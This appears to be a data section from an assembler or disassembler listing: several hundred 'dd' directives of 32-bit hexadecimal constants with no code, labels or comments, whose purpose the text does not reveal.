dd 0DDD435F4h, 9A8C5ACEh, 50B8A67Ah, 15D3807h, 0DE5099C2h
dd 0A5F0CFh, 612B83C4h, 0EB66D287h, 27C0400h, 56C5D5A4h
dd 78DFB037h, 100C00A2h, 0AE3D663Bh, 0A700C9B8h, 90D1D91Ch
dd 267AD0Eh, 0BF826175h, 18404222h, 0D20046CEh, 8FEA9533h
dd 0C1DDF6h, 7688A8CDh, 1CDEE67Fh, 0F8AE3100h, 0A78A2D9Dh
dd 5C1D000Bh, 99DCDDFEh, 84072829h, 4767EE7h, 0FAF183E0h
dd 4AB63E56h, 0EDF6D282h, 0F0A03D54h, 0DCFD7B39h, 0CC0C2F1Eh
dd 575F7840h, 2E8A1F17h, 6595D5h, 7E4831E7h, 440B2EA4h
dd 80060759h, 0F0CADD0Ch, 73B81374h, 813900DEh, 19EEAD22h
dd 0BA27110Bh, 4FD00060h, 1B51C16h, 0DA610709h, 0CA2BD337h
dd 1BA64440h, 4DA3B700h, 0CAE7CDD7h, 31541D39h, 75EC212h
dd 442B3CCh, 19E06980h, 2C00F264h, 6998264Eh, 6FEF0Bh
dd 0FC9BF7BDh, 157F700Dh, 0EC53A700h, 58FF480h, 293600A9h
dd 226C10CFh, 0E900B67Dh, 0E14787D2h, 5C9AAA69h, 4800643Ah
dd 1AECC0ACh, 0F9C08FBFh, 79D3547Bh, 93070033h, 0C28592F6h
dd 720F4EF3h, 801BED4Ch, 0BC8CADD4h, 7804002Bh, 0C87ACE31h
dd 511F93CBh, 0DECEE96Eh, 80B9C0AAh, 1C8CEEB3h, 43248DE7h
dd 0B6575DA2h, 5520E8E0h, 3CFB9A04h, 0BAC4C099h, 0E3272480h
dd 97E900DDh, 0A71B4DE7h, 6F0023C3h, 9D5F968Dh, 0EE9808F2h
dd 72617EE6h, 5854001Ah, 5B1D6E4Eh, 6BF00F62h, 462C9800h
dd 31FBDC83h, 7BCF73A2h, 49FCEBh, 6D5902A6h, 403EFF89h
dd 390B171Eh, 11B11801h, 35C8672Fh, 0B4EA00BDh, 6F53FFEBh
dd 0B82FB5E7h, 20E7001h, 818C9016h, 60404583h, 460E5D04h
dd 614DCB57h, 683470E9h, 0BC9780DFh, 1D0905Eh, 0A6D2E237h
dd 0D8A46D04h, 0F4EE7B08h, 0FEDE9300h, 3AC4741h, 0C1F300AAh
dd 0CCA36827h, 444C5E09h, 799D3DB0h, 0BDE44813h, 56D50800h
dd 7C781562h, 0D157511Ah, 929830h, 0E8536336h, 18B305C5h
dd 0AA04357Fh, 66E7C3D4h, 70DF5C88h, 78AD0AA0h, 0FCB75Eh
dd 0A5EB50A9h, 0BE036697h, 0E1373D7Eh, 2068E00Eh, 5352006Fh
dd 8B26DD16h, 8900816Bh, 448407BDh, 608DB0h, 693223CFh
dd 11C54791h, 0BDABBE01h, 0E7BFED2Ah, 181E13E0h, 0FA891498h
dd 0B4006D1Fh, 1928DF0Ch, 529E87h, 6A90E31Bh, 0D447B65Bh
dd 2D006798h, 29D20B86h, 26AC14h, 606115FDh, 4B192051h
dd 844F0D3Dh, 0C3F0CE9Ah, 1A472080h, 49D00A8h, 0F8F2026Ch
dd 36003FA7h, 781268B6h, 0CBCE70h, 564B86EFh, 0B715B1A5h
dd 0DEE7C900h, 69F14E5h, 51D51F4Fh, 6D10025Ch, 0DC402BDCh
dd 0DD98FA48h, 61592107h, 7AE5E757h, 1ECF32C1h, 0E0C7C8h
dd 9FF60A6Fh, 504F6BE1h, 0A15DDC12h, 0EE526000h, 72BA7565h
dd 0E8F40017h, 9E2DB6C1h, 0A1482A03h, 53E1EA8h, 9108240h
dd 1B60EC7h, 99D097CCh, 0E0AA0FB3h, 95126C4Fh, 18004744h
dd 0F0FBE818h, 3CE026h, 9CCF5751h, 0AEEA7D6Dh, 460054FCh
dd 0D2F68CB6h, 7FBE1E31h, 9F090038h, 3BD1A313h, 0FB12CEC9h
dd 640A37EDh, 1503C451h, 0F375CAE4h, 0F2AC8B6h, 222300A2h
dd 73879881h, 3200556Dh, 0A814D517h, 0FF723Ch, 54AC49C7h
dd 0DE7C8E43h, 806D333Dh, 74044B8Bh, 0EDD83Bh, 4009AD9Dh
dd 6FFE9779h, 7B3C5A00h, 0D7BB46DDh, 2AFB0916h, 3E0055D3h
dd 0A7203B26h, 4552F102h, 60EBAD34h, 93A11Ch, 0C0CF8996h
dd 0F97D43CCh, 4881101h, 0EC219859h, 7344CCh, 9D205D34h
dd 0F3C5ED0Bh, 68AB9E03h, 6BAC81h, 94A10F51h, 0D3969A0Eh
dd 44115C00h, 0B2924A7Eh, 7240006Ch, 4CAAC6CDh, 520086FFh
dd 0EE977D10h, 0D0EA35h, 0F1590848h, 7756BB8Ch, 99EDD38h
dd 3E1C45h, 7D6C21EEh, 5552006Dh, 0D8112069h, 8003C7EBh
dd 66A63999h, 152A00D5h, 717656EAh, 0CD001F5Dh, 3D8919F7h
dd 0DDB50Bh, 0BCFF5077h, 0F2B06A4Bh, 0EB349500h, 25CDF141h
dd 11A10024h, 3C8C7703h, 0FD7DC793h, 9281E200h, 30BFDEF9h
dd 0A1418B4h, 79E46913h
dd 68317E00h, 654F595Bh, 2CDD7CABh, 1F8215E7h, 92CF4E10h
dd 916F8E61h, 0B072D0D5h, 4012A532h, 329FC0E7h, 7E190E9Eh
dd 0FD8D69h, 1FFAA77Ch, 0AA075F99h, 252EA661h, 29BB4340h
dd 0D0B0037Eh, 10599112h, 0B18C8907h, 948ED67Dh, 7BBD0040h
dd 35C8A4C3h, 792100B3h, 0B7143069h, 100051B4h, 3E0C7291h
dd 602312DBh, 6669A0DFh, 40C0319Fh, 0B42045EAh, 0D0D728CBh
dd 8A6E0058h, 19E81D4Bh, 4400F8A6h, 4D30286Fh, 0C86973h
dd 0DF4C51EAh, 1127A378h, 41A5EC00h, 0A9B1D7C4h, 7BC2011Eh
dd 6033066Eh, 4FF1E0D5h, 2B7998FEh, 515FBB00h, 171173E8h
dd 307A00DCh, 7BDF8589h, 80F22E14h, 0D3A51500h, 33CB476Fh
dd 0B26C0E0Ch, 9D63463Eh, 0A08F6281h, 7DF288B4h, 8E34853Bh
dd 0EA6B330Eh, 0C0838CE5h, 0E957D790h, 0A050385Eh, 1467944h
dd 0D582D3C3h, 0F0840DB4h, 950FFCB2h, 6665503Ah, 2E40DE45h
dd 31B9C4h, 0CFBAEDEBh, 5F0A2986h, 9C30400Fh, 0DC00EC9Fh
dd 27CAF090h, 657400E1h, 6623A6ACh, 3F3A6A44h, 3B508EB8h
dd 496DE146h, 54CC9EC3h, 5B4B1D5Fh, 0D28E1F31h, 345F00AFh
dd 81661047h, 287C701h, 0ECFD6B1h, 0A81819BFh, 6BEC208Ah
dd 0EB153C02h, 93079046h, 55ABD8h, 85B98B98h, 0F2F1409Ah
dd 0D378870Ah, 2130E86Dh, 2498166Ah, 7F59B9h, 0D1250B4h
dd 4C0CF775h, 0D8F29B64h, 0B13834D6h, 0AF6EC130h, 0F4C3F846h
dd 0DC43C800h, 84FB6C95h, 6B7478h, 0C48E4C6Dh, 37E9A719h
dd 8FCC8B1Dh, 7C14D5Eh, 793CF32Ah, 3969AA70h, 0ECF4A803h
dd 42FC07A3h, 0C15D6340h, 8041558Ch, 886BFB18h, 4D4A47h
dd 51C289F6h, 0B4260B77h, 61FE0400h, 7B570BEh, 0B38C3BECh
dd 86253606h, 6360E6FCh, 0A9E46990h, 7B711C96h, 0BAC90755h
dd 607EC6FAh, 8167EE7Ah, 66AF6930h, 74D176E8h, 0DDE680C1h
dd 0B7F13F01h, 68037AE0h, 0C1E744F0h, 7535FA29h, 0D44D6085h
dd 696D138h, 644FBBCFh, 0D70D0120h, 8C6BC4E5h, 6A68988Bh
dd 0F21FB219h, 0FE311BDEh, 1E080F5h, 8600B7A2h, 0D745D1A9h
dd 0FABBEB78h, 162E283Bh, 430D05B0h, 0C5ECC44h, 1839F7A0h
dd 1A004EE2h, 0CA2351CDh, 1CE34C86h, 4136981Bh, 3EEA5443h
dd 7087D29Dh, 97A03024h, 78177092h, 7A0661DBh, 2A2098D8h
dd 0C05C44h, 0FDEB01EEh, 0FEB02BD5h, 82A2205h, 2CC14B8Dh
dd 3080688Eh, 49B3F0DBh, 90A20C21h, 245ED361h, 0B0A46E08h
dd 31CBC202h, 0C0D6E88Ch, 754AAA02h, 9E633F78h, 0ED6E6506h
dd 5F48506Fh, 0DB080404h, 6D07FF85h, 2DE9044h, 7C3A8F53h
dd 8F45190h, 55004030h, 0C9F2459Bh, 9AF1EBh, 7DD0BFC2h
dd 0B602771Fh, 68420AF6h, 0AC014053h, 0F6224FDFh, 0E444016Dh
dd 0B2276710h, 0EA0BC073h, 5FC28A7h, 0BC40ED17h, 9120CD54h
dd 0E7BB3258h, 0A0A47930h, 206D4041h, 185DE9h, 625F6B15h
dd 42CF04B6h, 6C8AA401h, 23C32ACBh, 930F1B2h, 96C930A0h
dd 7C063E3Dh, 0FB12D426h, 0EF740C19h, 4F99846h, 0E8002091h
dd 0C3893C5Bh, 0D1495CDBh, 0F01FD601h, 24E4AFA0h, 0FE600940h
dd 0B8176C39h, 0A6CD004Dh, 1453921Ah, 0EC0ED38Bh, 0E3AA33C5h
dd 5D48483h, 44898CC9h, 97A2C0B7h, 170FC104h, 0A0C69FAFh
dd 0DE9EF67h, 0F9D35F3h, 18B03468h, 258C71D6h, 56A8502h
dd 48798399h, 0C79710h, 28BE2153h, 9B67DC9Dh, 0A33AA701h
dd 1FE919FFh, 7C4428A2h, 0D95200AAh, 193EB571h, 813D0CC8h
dd 0E7189208h, 80E38C48h, 0E4D80465h, 0A54AB36h, 0EB22D4B0h
dd 5B442AF6h, 0CD9F01D4h, 4846950Bh, 1539D4A2h, 4107F500h
dd 0EE2753ECh, 888DD09h, 0D0306342h, 98A341Ah, 9FD88D9h
dd 0DFD44820h, 58C16CAAh, 947DEFDBh, 44D68050h, 60209AFDh
dd 1CE179EAh, 0D001745Dh, 0B7490D6Ah, 0A9883CB8h, 58A9ECF7h
dd 5B138840h, 804D7CB6h, 6E06EDCEh, 700B847Fh, 0CC754958h
dd 20E68613h, 2311F538h, 50AE1F3Eh, 8498B494h, 0C078454Dh
dd 0FE529A2Bh, 1C1F92Dh, 4C7E9823h, 0D80206Fh, 73D49BB3h
dd 0BAEB2801h, 0D74969BCh, 906EF2h, 91DAA343h, 0CD642F01h
dd 610AB1B0h, 0A8588D1Bh, 908F7D8Ah, 9C0B038Ah, 0E0C30C87h
dd 0E50F2680h, 49BF1CF7h, 2498CE46h, 2CA41D09h, 0FDEE409Bh
dd 0D40EDh, 0E19CFFF2h, 6B358D2Ah, 1CEFB21Fh, 1222A8EAh
dd 4F442AE2h, 0CF2300C0h, 0AC17A237h, 0EE1AFC91h, 21599540h
dd 0F7B26FACh, 6E116C32h, 0E2A4515Ah, 0E27FBE20h, 9DEB0021h
dd 7E50F731h, 593E995Ch, 480CA439h, 0D1227140h, 0C87B0992h
dd 811FACCh, 2C003358h, 0F8441C7Eh, 7C04C8h, 0E3800693h
dd 0AEE61F66h, 0E8613C24h, 0EE44864Eh, 0C7CF00D1h, 0C1F5EC8Ah
dd 7500BAB8h, 22C1C8Ch, 239E82Dh, 7C8B996Ah, 0A064C235h
dd 5080FBF4h, 0BD9300B2h, 27B33C11h, 689A2C8Bh, 4A96DB18h
dd 5969F9h, 34B05835h, 9C868ED1h, 0DF4CA300h, 0A6C0AE74h
dd 0AF971A60h, 648FA110h, 0EE046948h, 349047D0h, 3BEF8C6Ah
dd 1E16B9BEh, 84704623h, 750021C0h, 37FF972Fh, 12E47C70h
dd 48C277DDh, 0C880EFF0h, 26D5C708h, 0DD0E0288h, 0BE2181Bh
dd 0A1043CCEh, 0B333B4B6h, 11E871C0h, 10CE2B0h, 0D99B395Fh
dd 0B9497C8Ch, 0CCCEA2A1h, 0DB69E1B8h, 35080D04h, 0F4D19462h
dd 29816A84h, 64FFE92Eh, 43682451h, 2091697Ch, 0AAC2178Eh
dd 0CF12A916h, 0FD689059h, 9389EC0Ch, 54540424h, 18DE84Dh
dd 0DEA44E32h, 30247E5Fh, 51068ACEh, 1FC3EED7h, 0FAB33730h
dd 46EFE448h, 41F644h, 0B5354A41h, 0EDD1AABCh, 4DC07751h
dd 5EC04334h, 41F44CC4h, 88AC008Dh, 0B655D529h, 9A1CAAh
dd 26E76321h, 8E13006Bh, 827BD57Fh, 6B671F0Ah, 0C244E415h
dd 0BA46B740h, 5C009D27h, 0F43101DDh, 0C2936BE5h, 0FC96E981h
dd 0F9284D0Eh, 0A80458h, 3E7748BEh, 0BBDCCFA5h, 0FEF35E02h
dd 0C4545042h, 639700D4h, 469389E1h, 0B152C381h, 0FE22D4h
dd 85FD05C7h, 5714F8C8h, 29A8F75Dh, 6600D861h, 64FFFBEh
dd 18CB3F75h, 0D5BB9384h, 0D1F489DEh, 8C8057D2h, 0F8B260E9h
dd 3C594244h, 72005BF2h, 0CDC1B3CBh, 96004F37h, 0C3BC2AA1h
dd 0A8F57C6Bh, 0F0DD0B5Ch, 0CC4B06FEh, 1886C617h, 80BC40B1h
dd 0E46B6A6h, 597A53BCh, 842C0852h, 0E3CD40A0h, 8A00307Eh
dd 0EADB9155h, 0B5388A4h, 63832B03h, 3943D090h, 830C5448h
dd 0F094CB9Ch, 51191163h, 0F0223CCCh, 0F0AAFF01h, 0ECE5F3A1h
dd 0D90C2DEDh, 0F171336Bh, 7829C3E9h, 7CD05DC7h, 263C967Ah
dd 0F0A0067Eh, 99A1E8EFh, 3542434h, 0E4D43B1Eh, 0DC6C1912h
dd 46768822h, 44A64Ch, 0EC9EF636h, 97C5C19Fh, 3F00724Dh
dd 0F3C40A9h, 9AC42F57h, 1139562h, 68EED0A1h, 6E819446h
dd 0D17A80F0h, 0B1AC2DBh, 0D260FD8Eh, 0E0E06108h, 49F99001h
dd 0B6DB3Eh, 0D3354D9h, 1C1E60E3h, 0D44D72D1h, 0F6C02C7Bh
dd 0D22C9D19h, 3808DEF4h, 91C3E4B9h, 0C5771FF5h, 34A06DC3h
dd 0F4C1582Ch, 0DFCDEAC0h, 0BD64B04Fh, 0EC9C9338h, 0A0438AF7h
dd 708852C4h, 8C990378h, 6790C98Bh, 10E4E9DBh, 0C2D1C094h
dd 0F578AAAh, 7B2C150Fh, 226B51B9h, 11D41224h, 5C20CCC4h
dd 0EACAB83h, 93238E6Fh, 18DC48B0h, 408968D1h, 36622429h
dd 4EEE8B88h, 61F3A013h, 16945150h, 23638B17h, 0C000C014h
dd 76F785B8h, 41EE62E1h, 3249843h, 121BC88h, 64EFBEAAh
dd 20DC0B29h, 7D0526DEh
dd 0AE7B55CCh, 0FFE69444h, 0ACBC0256h, 645A435Bh, 145E0200h
dd 6A2862FDh, 3F70183h, 0A994A7DEh, 2979E119h, 5F6E185Ch
dd 1E7198A1h, 2C25CBB4h, 0E494C094h, 1700632Eh, 34BD1ACEh
dd 99FC8407h, 4EBE00E8h, 32D63658h, 500AF4A9h, 3FA9AC84h
dd 1FBBDE00h, 1A2DF877h, 85F03E0Ch, 5CE10881h, 16C8135h
dd 0B3148E54h, 7A2A0088h, 35A1CCFEh, 882F0B90h, 0F8319EBh
dd 25B86E64h, 2400BAF8h, 0CC54ACEEh, 26EAD8FEh, 0A4887929h
dd 63E82C58h, 591E4061h, 0E0357FEEh, 0E398B060h, 9B3F0FB9h
dd 13C45407h, 0E9CA6E4h, 2059A3B0h, 29415303h, 529801E6h
dd 4F4830Ch, 70ADE59Bh, 0E49684ACh, 0D0CACB80h, 0AAC17034h
dd 69C405DCh, 0C251DC32h, 60B8E0B8h, 0D600849Fh, 18CA43B7h
dd 5D0A861Bh, 3507C4E6h, 0A5ED2653h, 70805FCh, 0D458853Bh
dd 564040B4h, 0B1504BF2h, 0A4134C4Eh, 6F6BD400h, 160655EBh
dd 0C2747Bh, 4E5CE6F8h, 82265B30h, 7151540Bh, 5CEB0A21h
dd 580BB861h, 0B042EEh, 5E1A016Bh, 0E8295D29h, 884C7724h
dd 0B7E15D4h, 0C5182h, 0C626D916h, 12028783h, 0ABCDE2A5h
dd 10A8E5FAh, 0E4718A6Bh, 0AC5F4288h, 919992B0h, 632FE114h
dd 0CD29001Ch, 94705F5Bh, 0B6240047h, 8B01261Bh, 0D8582736h
dd 80D588A0h, 2E44F091h, 4022B8Ch, 0E8872072h, 0C0DCAF66h
dd 0EA8809E9h, 2D03074Eh, 0CAD297D8h, 0B2BB40B0h, 8AE8CD2Fh
dd 40968874h, 0F8080449h, 90444Bh, 0D1DA43Eh, 1D419D9Fh
dd 921F8B40h, 74E487F1h, 0B4A8A17Eh, 54CAE43Ch, 0EC17E0BCh
dd 0ED481A41h, 80B01F2h, 0AA49258Bh, 4BEFC3FCh, 26CC5FEBh
dd 6E443D68h, 49646Eh, 1E3ECD16h, 65F2566h, 39116826h
dd 7000849Bh, 0D7B02B5Dh, 0E8C80F8Eh, 0C749F2B4h, 0F56E84A2h
dd 9255EE21h, 848C4194h, 281BC59h, 0F0335C79h, 5122AB2Bh
dd 34644955h, 8465EEC4h, 84A620h, 9CEA2641h, 0E831158h
dd 6A2DC27Bh, 5340027Eh, 410948F8h, 43679F8h, 82582710h
dd 24FC85E9h, 0E2094731h, 29605EC0h, 0CE9F003Fh, 70DA7A0Fh
dd 417EAE91h, 1148E049h, 905D476h, 115D2660h, 0A491B82Ch
dd 4BFCE024h, 5747AC04h, 0D684AC06h, 5C250011h, 0D1510C09h
dd 3900EF82h, 4733E240h, 16BC96AAh, 34626D60h, 0C0E634h
dd 6278E9B9h, 2C21F2h, 0B460FF8Eh, 0E1463B18h, 9230705h
dd 3CB41314h, 0FA31884Dh, 7B5A7C1Eh, 4EE01AC1h, 4AD83F2Ch
dd 27F8FABEh, 0A42284EEh, 0F099756Dh, 0F0520B4Eh, 0F41B1700h
dd 0AF1D3FECh, 0E1A80D00h, 7F03193Bh, 92B52799h, 53E9B424h
dd 0CAA32C30h, 206A72D8h, 10B2D19Ch, 587C50F3h, 826061FDh
dd 74CC581h, 843A5086h, 0B0E8A8h, 711765E6h, 85849A28h
dd 0E1B3EF09h, 5F4CA415h, 0FB600081h, 4F22E062h, 0E013B0A2h
dd 70741037h, 58CD6095h, 0A45CFBFBh, 0CA1CDCh, 57AF779h
dd 0AE38E440h, 4F620416h, 32992470h, 34480096h, 4A7F2A01h
dd 1601420Fh, 7908E437h, 89BFC01Ah, 54C0204Fh, 2786B60Ah
dd 10195D40h, 4CD48057h, 3667CE3Bh, 0DC651259h, 789C4C1Fh
dd 7600BE49h, 77E29642h, 18507DF6h, 71E4B168h, 3896043h
dd 361CBC32h, 48FE8150h, 666B05BEh, 9120030h, 34ABC87Bh
dd 6C6F48EEh, 1CCC4589h, 0BE776104h, 789C9FD2h, 83E73A53h
dd 0EADF1B00h, 0CE26A1FCh, 0C8D3E002h, 78B5B7CFh, 6B7F3554h
dd 6E044A99h, 19D840FCh, 3D031E7Ch, 0CF18F872h, 3FC0C8CDh
dd 0C6431DB4h, 8B782455h, 0D46968EFh, 43204061h, 0E31C8940h
dd 0F8458072h, 28C08BB6h, 4443AD0h, 17619C33h, 2B1CE46Eh
dd 624F8200h, 0AACE404Ah, 27C7045Bh, 9151E97Ah, 5050442Ch
dd 5F8B53F4h, 1023D531h, 44695D94h, 0B1E80D81h, 0EE39892Ah
dd 0D4E448D1h, 844CBAF8h, 0B3BE028h, 76977323h, 7D452030h
dd 0D41EDD70h, 0A2C041C5h, 9E7CC4DBh, 73E62CB8h, 0EFDC844Ch
dd 0EC6C88E8h, 0E7AC421Dh, 491EA009h, 620C7A68h, 9F792C84h
dd 31064014h, 0A609E2DBh, 182BCC81h, 0B46EEE90h, 66B0BAACh
dd 3BF28249h, 3A49AC77h, 1E22258h, 305CD9F3h, 0C8ADEC04h
dd 89534DABh, 0B0FD2228h, 0A6EC741Ch, 80D891A4h, 434DE7E8h
dd 62009D5Bh, 0FA1B989Bh, 75645819h, 81372088h, 96DB21h
dd 89EBCC8Ch, 0CF00403Dh, 0A62E7DCEh, 3E05D02Bh, 0B17A6BCDh
dd 9E02BCE8h, 0E7D6ACECh, 303BB0EEh, 0BEFA0247h, 7BD0EDCEh
dd 0D70D0138h, 3985F47Dh, 278000F0h, 0D1C7B57Bh, 1FA90205h
dd 68FD4658h, 906D6C82h, 0D50B8428h, 9896E6h, 751E1521h
dd 0E07853Dh, 64B2A215h, 0BE32594h, 4C46C0h, 32F4B89Ch
dd 59412164h, 3C22B902h, 1264E06h, 1195600Dh, 9DF8ABE8h
dd 0D6461792h, 45C488D5h, 200CAE2Eh, 0C82CD016h, 0B4A3FD4h
dd 9F3D96h, 2D84806h, 5F7D9BC1h, 59146058h, 98D99260h
dd 102D9031h, 20EC5F26h, 535D012Ch, 731D400Dh, 1BE5FC09h
dd 0B108DC00h, 3D3228C6h, 17ED0BCDh, 0C8E41F82h, 90224F42h
dd 80111300h, 9CE654F7h, 41260724h, 0E2B1B7ABh, 0C17FDD71h
dd 703450E0h, 298F88C3h, 661C8AFEh, 9AC968CFh, 1404405h
dd 0A2E6EE0Dh, 79FE3237h, 9AB50358h, 5AA581D2h, 0A6582091h
dd 5E000841h, 0DE791351h, 0EC8A9352h, 958F7186h, 6FF8E433h
dd 0FF022E7Ah, 0C3EE0F19h, 2810495Eh, 487B9862h, 896B47Ch
dd 0E0A45D6Ch, 0D19420AFh, 9E8FAEh, 0ACBA7110h, 0A18D18F4h
dd 24306825h, 49C04368h, 0B8A64A6Fh, 81089011h, 71F45470h
dd 29D03EECh, 4030FE24h, 93E362EAh, 5A0057FAh, 7D10DF82h
dd 2E1F4417h, 1421A8D6h, 0EC85948Dh, 0FFAC3092h, 88015B49h
dd 9F72DF32h, 502D40C4h, 201C5C53h, 0A88000DAh, 0BB36960Dh
dd 857B4101h, 635EDD21h, 91B7840h, 7AED44FEh, 6E7160E3h
dd 0E3D59113h, 70DBC0DCh, 0F43148BCh, 0CC25173Ah, 57EEC0A2h
dd 360D0D2h, 0B1C86C09h, 55A60714h, 309A82EBh, 38FB962Eh
dd 2895D23Dh, 64A2FCA4h, 0A600B46Ch, 8DE7D51Eh, 9DDEC5Ch
dd 21A2953Fh, 40D73024h, 0A908FFE2h, 314F07A5h, 204485F7h
dd 0FC99B6B9h, 84093491h, 0E568207Bh, 0A7BB32h, 0F03C0F2Dh
dd 8DABC918h, 2B80E702h, 64316B22h, 0C7A8BC04h, 9128CA2Fh
dd 0BD0F1E78h, 5EA23240h, 13EE9DAh, 7A811DA7h, 0E8443875h
dd 0FCBAC44Ch, 88656E22h, 64F520h, 4B8B0F28h, 0A33AA9D3h
dd 0CF19EA00h, 966CE58Ah, 0D8914D01h, 0BE1948C0h, 0C00EA85h
dd 0DC397926h, 1A8458Ah, 0CB1012E1h, 6CEDD450h, 80E388F0h
dd 82EECD78h, 62170BC9h, 0D4529D81h, 3F9FF488h, 0F8816EAAh
dd 0FF3C8288h, 1A53D814h, 92CBB412h, 48301C84h, 4403Eh
dd 2BACE24Eh, 7FF4BD01h, 432AB38h, 0B50DBB9Ah, 5843D8E4h
dd 0D085A091h, 400894ABh, 0C861D540h, 193B1E4Ch, 83650094h
dd 0D14A7C27h, 60804A77h, 5D166E04h, 73CE2F00h, 17E28363h
dd 0B33F0120h, 86A25D4h, 4D182435h, 0A57C61C0h, 1D6FAD7h
dd 1976A22Ch, 0C8148040h, 0E4055EFDh, 0F8220BD3h, 3F4890E3h
dd 0DFD8224Eh, 11C70C44h, 0CCEB10DEh, 469101A4h, 6FE6F5A7h
dd 49E87355h, 0D6BE0108h, 8B2586BAh, 5A705ADAh, 60DC12F8h
dd 0D7491F78h, 0C7E78600h, 0FD5C80E0h, 0AE5D19CFh, 23718992h
dd 0B9BD00B4h, 6219819Eh, 64A3BD1h, 6B0E33BFh, 12730B2Eh
dd 1C20CC70h, 449BF100h, 857472AFh, 0C0889415h, 9790202Eh
dd 0D9881900h, 42A04AB8h
dd 0B6D0B211h, 609DC7BCh, 83120CE6h, 0E1129872h, 44B692A2h
dd 0DBA56503h, 0ACE4A3D1h, 8CE6C0BCh, 100BD611h, 66264CEh
dd 937AC509h, 7461277Ah, 0F0143098h, 77EE6B03h, 9B49ACDFh
dd 0AEC288D6h, 1C6772D0h, 30799014h, 0BAE27028h, 48965E3Bh
dd 0BFD70045h, 18ECF739h, 264900B6h, 8160AA94h, 841DE813h
dd 0F040EAF9h, 0EC476210h, 2D01D70h, 36F5C358h, 6000DB08h
dd 0E59AAEF0h, 3CDD447Dh, 288748CCh, 0ECB3E4E1h, 0F9607740h
dd 4B77008h, 1DAA007Bh, 0D0718947h, 61300834h, 0EF1548CFh
dd 1094012Fh, 547F0C13h, 0B0E8C7B5h, 353887B4h, 18A40CD7h
dd 2C79CCh, 93EDE8FCh, 6816D9BFh, 0C3035301h, 901D22AFh
dd 0A101609Eh, 84DB770Ah, 0CC988F80h, 0EE40F137h, 0A0A40694h
dd 29A12785h, 0F1C844h, 8002D15Dh, 678F4D8Ch, 0D01880EDh
dd 7B1E7EBCh, 6F53313Fh, 1050F168h, 60FF6710h, 519128EFh
dd 1C0034D5h, 32D43F90h, 0D8EE447h, 0C7779DE3h, 5860FC69h
dd 0FA036098h, 3440AB1Dh, 0DE67E1E1h, 8AEB4980h, 0C35B368Eh
dd 0A693C800h, 62CEFAB5h, 5C046628h, 7C0A8815h, 649370E0h
dd 22DC7860h, 218F0EFh, 13F5ABA5h, 0A4A0DA07h, 66AD8573h
dd 8EC3050Bh, 185C0C6Ch, 7120C668h, 707ED94Ch, 8C8061DFh
dd 0AE4A05FDh, 0EF97286Eh, 387349F0h, 67115D32h, 3C27823h
dd 7B0A1141h, 0EDD0F425h, 0C002CF09h, 82277D88h, 4D49107h
dd 8384F4h, 0DEEE360Bh, 42185CC4h, 729D7A00h, 0E7EC9949h
dd 7BF0A18Fh, 0F93C91B8h, 1259D160h, 11038F7Dh, 0CE9033EFh
dd 0D0813C4Fh, 0F6577209h, 2249482Fh, 81341420h, 1C0C49CEh
dd 21F84E72h, 31F202EFh, 6A8DC40Fh, 714B081h, 876980E7h
dd 0BCFDF856h, 9211184Dh, 7490C043h, 9881D136h, 9CA9D128h
dd 0E8C6557Ch, 936FE3F0h, 8BE44050h, 75EAFAC6h, 4398BF71h
dd 4A2EAC19h, 9D10C229h, 0D0003A7Eh, 1AB8C5CEh, 0CFEA0F1h
dd 0E13698D9h, 80FBABE0h, 0A325BB71h, 0F8BA60A1h, 0B09E00AAh
dd 3369E090h, 8F004244h, 7021CA97h, 5F6B677h, 23BE5A96h
dd 3EC5208h, 843B4B34h, 0D9071118h, 0C4C119h, 0DA2BBA97h
dd 0C358B42Ch, 79789050h, 0DF5A7188h, 151709E9h, 864A9400h
dd 0E43774D3h, 26C9CE73h, 1520187Ch, 0DC124DCDh, 606F010Ah
dd 0BB14F94h, 80D7A738h, 7444EEECh, 0BBD53F27h, 40D475A4h
dd 16A97334h, 718FFF10h, 0B95EE719h, 0FC08945Ch, 0F0AB29C4h
dd 0B100E31Fh, 471502CBh, 29DC07B0h, 2A9CA5A2h, 0D9C44618h
dd 0BEE7B405h, 0A4C058F5h, 0B63ACDh, 0C3A86A1Ah, 0FE678D63h
dd 0A0983CE8h, 8E33F039h, 60CB5B90h, 0D0534A01h, 6E440C5Dh
dd 71E0108Eh, 13E54E10h, 0C91A6718h, 0FF000DB4h, 4C321C88h
dd 7BEBE59Fh, 0D16D2882h, 0C149194h, 7C96BABh, 1EE45Ch
dd 0E2479C84h, 2488F1E8h, 8E3C4026h, 7093DAEDh, 8758E814h
dd 63698E04h, 900FB61Ch, 0A5685A0h, 3300E359h, 4C9FDEFDh
dd 90C716F9h, 0F45D49B0h, 5250F703h, 0C9B91E3Dh, 7F9C202Ah
dd 0D09C98D0h, 1D722C0h, 2839910h, 517BED46h, 0F0A034D0h
dd 72159BEAh, 484F559h, 0FE2FF1D1h, 0FA952497h, 80489027h
dd 0CE4256DCh, 92016269h, 7B35BB9Fh, 0FED0506Eh, 0F80F49C0h
dd 0AF728A02h, 3887B50Ch, 59858373h, 10F658B9h, 0C9809E26h
dd 6422B020h, 90226681h, 56DE85B4h, 0FF0B442h, 1E844CFh
dd 0EA972634h, 93FF098Ch, 386366B1h, 8E5029E1h, 49D899D4h
dd 3DDFC4E3h, 0BC2B8D04h, 70C870A4h, 0C0495967h, 0D821C700h
dd 35DD1C81h, 8001622Ah, 0EEB05601h, 4A3A885Fh, 6BED3D8h
dd 0D9A20CF6h, 4E4C899Ah, 6708D9E4h, 1D34CC4Ch, 2C86EFF8h
dd 0CBF1429Ch, 564AD490h, 2248CF1Fh, 96AA9A03h, 34290B0Bh
dd 30907883h, 0F00BBE0h, 0D2765108h, 0D7955h, 0EAA832E4h
dd 8E40F920h, 7E42954h, 6F916260h, 0A186BBh, 7DC083B8h
dd 409195D7h, 45EEC613h, 0C844FD12h, 8C94ECDh, 0C0CC1C60h
dd 5D0FE5A1h, 0AAE40552h, 53764400h, 49CD7DF9h, 688F2CB9h
dd 40FF4544h, 74B7A6C4h, 0DA00E5B6h, 1A63FB5Ah, 515A048h
dd 596412AAh, 0E4C09223h, 22E89120h, 5F5405CDh, 0C0A9C771h
dd 0D8E37FC4h, 2CD90A20h, 15F44D10h, 5818B869h, 0C9D171CBh
dd 7CA6E974h, 2F00E6E6h, 6A4342E2h, 0C10177h, 71A2950h
dd 7D249652h, 93AC1458h, 8CD1C408h, 3994667h, 0D704E907h
dd 6EF3A211h, 98D1D496h, 0E048E4EDh, 323F054Fh, 9033DBC1h
dd 0B0EDD20Ch, 0FC02372Eh, 0C6D8583Ch, 0A15407h, 437AF5FFh
dd 2345C6F3h, 9DD75900h, 5D446B01h, 72530932h, 20254EFBh
